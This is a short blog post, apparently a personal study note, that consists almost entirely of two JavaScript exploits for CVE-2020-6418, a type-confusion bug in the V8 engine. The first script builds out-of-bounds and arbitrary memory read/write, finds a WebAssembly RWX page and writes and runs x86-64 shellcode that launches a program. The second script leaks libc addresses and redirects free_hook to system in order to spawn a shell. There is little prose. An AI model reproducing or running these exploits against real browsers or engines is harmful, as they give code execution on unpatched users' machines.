cve-2020-6418

2021-05-05  本文已影响0人  cnitlrt
wasm run shellcode
let vuln_array = [,,,,,,,,,,,, 6.1, 7.1, 8.1];
var oob_array;
var uint64_arw;
vuln_array.pop();
vuln_array.pop();
vuln_array.pop();
var objArray;

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var uint32 = new Uint32Array(buf);
// float-->uint
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// uint-->float
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function hex(a) {
    return "0x" + a.toString(16);
}
function empty() {}
function f(p) {
    vuln_array.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 2.42902434121390450978968281326E-319*2);
    for (let i=0; i<0xc00c; i++) {empty();}
}
function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts (index) {
                print(utf8ToString(h, index));
            }
        }
    };
    
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
        96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
        116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
        131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
        109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
        128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
        65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;  
}
func = wasm_func();
let p = new Proxy(Object, {
    get: () => {
        vuln_array[0] = {};
        oob_array = [1.1];
        uint64_arw = new BigUint64Array(2);
        objArray = {m:0xdead, n:func}; 
        //%DebugPrint(oob_array);
        //%DebugPrint(uint64_arw);
        //%SystemBreak();
        return Object.prototype;
    }
});
function main(p) {
    for (let i=0; i<0xc00c; i++) {empty();}
    f(p);
}
function ByteToBigIntArray(payload)
{

    let sc = []
    let tmp = 0n;
    let lenInt = BigInt(Math.floor(payload.length/8))
    for (let i = 0n; i < lenInt; i += 1n) {
        tmp = 0n;
        for(let j=0n; j<8n; j++){
            tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
        }
        sc.push(tmp);
    }

    let len = payload.length%8;
    tmp = 0n;
    for(let i=0n; i<len; i++){
        tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
    }
    sc.push(tmp);
    return sc;
}
function ArbitratyWrite(addr, payload)
{

    sc = ByteToBigIntArray(payload);

    oob_array[16] = i2f(BigInt(sc.length));
    oob_array[18] = i2f(0n);
    oob_array[17] = i2f(addr);
    for(let i = 0; i < sc.length; i+=1) {
        uint64_arw[i] = sc[i];
    }

    oob_array[16] = i2f(0x2n);
    /*oobArray[18] = bigUintArrayBasePtr;
    oobArray[17] = bigUintArrayExternalPtr;*/
}
function confusion_to_oob() {
    console.log("[+] convert confusion to oob......");

    for (let i=0; i<0xc00c; i++) {empty();}

    main(empty);
    main(empty);

    main(p);
    /*%DebugPrint(oob_array);
    %DebugPrint(uint64_arw);
    %SystemBreak();*/
    console.log("   oob_array.length: " + hex(oob_array.length));
}
function testPwn(){
    console.log("[+] test");
    var addr1 = f2i(oob_array[17])-0x7n;
    var codebase1 = f2i(oob_array[18]);
    console.log("codebase1: "+hex(codebase1));
    /*console.log("[+]oob_array[17]: "+hex(f2i(oob_array[17])));
    console.log("[+]oob_array[18]: "+hex(f2i(oob_array[18])));*/
    console.log("[+]addr1: "+hex(addr1));
    objArray.n = func;
    var func_addr = f2i(oob_array[22]);
    func_addr = func_addr >> 32n;
    func_addr = func_addr + addr1;
    console.log("func_addr: "+hex(func_addr));
    //print(hex(f2i(oob_array[22])));
    oob_array[17] = i2f(func_addr+0x7n);
    oob_array[18] = i2f((0n));
    var shared_info_addr = uint64_arw[0];
    shared_info_addr = shared_info_addr >> 32n;
    shared_info_addr = shared_info_addr + addr1;
    oob_array[17] = i2f(shared_info_addr-0x1n);
    oob_array[18] = i2f((0n));
    var wasm_func_data_addr = uint64_arw[0];
    wasm_func_data_addr = wasm_func_data_addr >> 32n;
    wasm_func_data_addr = wasm_func_data_addr + addr1;
    oob_array[17] = i2f(wasm_func_data_addr+0x3n);
    oob_array[18] = i2f((0n));
    var instance_addr = uint64_arw[0];
    instance_addr = instance_addr >> 32n;
    instance_addr = instance_addr + addr1;
    oob_array[17] = i2f(instance_addr+0x67n);
    oob_array[18] = i2f((0n));
    var rwx_addr = uint64_arw[0];
    console.log("shared_info_addr: "+hex(shared_info_addr));
    console.log("wasm_func_data_addr: "+ hex(wasm_func_data_addr)); 
    console.log("instance_addr:"+ hex(instance_addr)); 
    console.log("rwx_addr:"+ hex(rwx_addr));
    var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
    ArbitratyWrite(rwx_addr, shellcode);
    /*%DebugPrint(func);
    %DebugPrint(oob_array);
    %DebugPrint(uint64_arw);*/
    //%DebugPrint(objArray);
    //%SystemBreak();
    func()

}
confusion_to_oob();
testPwn();
/*pwn();
uint64_arw[0] = (0n);*/
hijack free_hook -> system

let vuln_array = [,,,,,,,,,,,, 6.1, 7.1, 8.1]; 
var oob_array;
var uint64_arw;
vuln_array.pop();
vuln_array.pop();
vuln_array.pop();

// uint64_arw中三个关键值的相对偏移
var uint64_length_offset;   
var uint64_externalptr_offset;
var uint64_baseptr_offset;  
// 保存uint64_arw的三个关键值
var uint64_length;
var uint64_externalptr_ptr;
var uint64_baseptr_ptr;

// 用来实现float和uint的类型转换
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// float-->uint
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// uint-->float
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 显示十六进制,纯粹为了美观
function hex(a) {
    return "0x" + a.toString(16);
}

function empty() {}
function f(p) {
    // 2.42902434121390450978968281326E-319 == 0xC00C
    vuln_array.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 2.42902434121390450978968281326E-319*2);
    for (let i=0; i<0xc00c; i++) {empty();} // 触发JIT
}
let p = new Proxy(Object, {
    get: () => {
        vuln_array[0] = {}; // 修改之后的类型是HOLEY_ELEMENTS
        oob_array = [1.1];  // 修改此数组的length来达到oob
        uint64_arw = new BigUint64Array(2); // 实现任意地址读写
        //%DebugPrint(oob_array);
        //%DebugPrint(uint64_arw);
        //%SystemBreak();
        return Object.prototype;
    }
});
function main(p) {
    for (let i=0; i<0xc00c; i++) {empty();} // 触发JIT
    f(p);
}
// 将类型混淆转化为越界读写
function confusion_to_oob() {
    console.log("[+] convert confusion to oob......");

    for (let i=0; i<0xc00c; i++) {empty();} // 触发JIT

    main(empty);
    main(empty);

    main(p);
    /*%DebugPrint(oob_array);
    %DebugPrint(uint64_arw);
    %SystemBreak();*/
    console.log("   oob_array.length: " + hex(oob_array.length));
}
function testPwn(){
    console.log("[+] test");
    var codebase1 = f2i(oob_array[18]);
    console.log("codebase1: "+hex(codebase1));
    console.log("[+]oob_array[17]: "+hex(f2i(oob_array[17])));
    console.log("[+]oob_array[18]: "+hex(f2i(oob_array[18])));
    oob_array[18] = i2f(0x39n);
    /*%DebugPrint(oob_array);
    %SystemBreak();*/
    //oob_array[18] = i2f(codebase1-0x7+0x40);
    console.log("[+]oob_array[17]: "+hex(f2i(oob_array[17])));
    console.log("[+]oob_array[18]: "+hex(f2i(oob_array[18])));
    var codebase = (uint64_arw[0]) - 0x12062ecn;
    console.log("codebase: "+hex(codebase));
    var fprintf_addr = codebase + 0x0000000001464848n;
    oob_array[18] = i2f(0n);
    oob_array[17] = i2f(fprintf_addr);
    var libc_base = uint64_arw[0]-0x55780n;
    console.log("libc_base: "+hex(libc_base));
    oob_array[17] = i2f(libc_base+0x3c67a8n);
    uint64_arw[0] = (libc_base + 0x453a0n);
    //%SystemBreak();

}
function pwn(){
    let args = "/bin/sh\x00";
}
//oob_array = [1.1];  // 修改此数组的length来达到oob
confusion_to_oob();
testPwn();
pwn();
uint64_arw[0] = (0n);
上一篇下一篇

猜你喜欢

热点阅读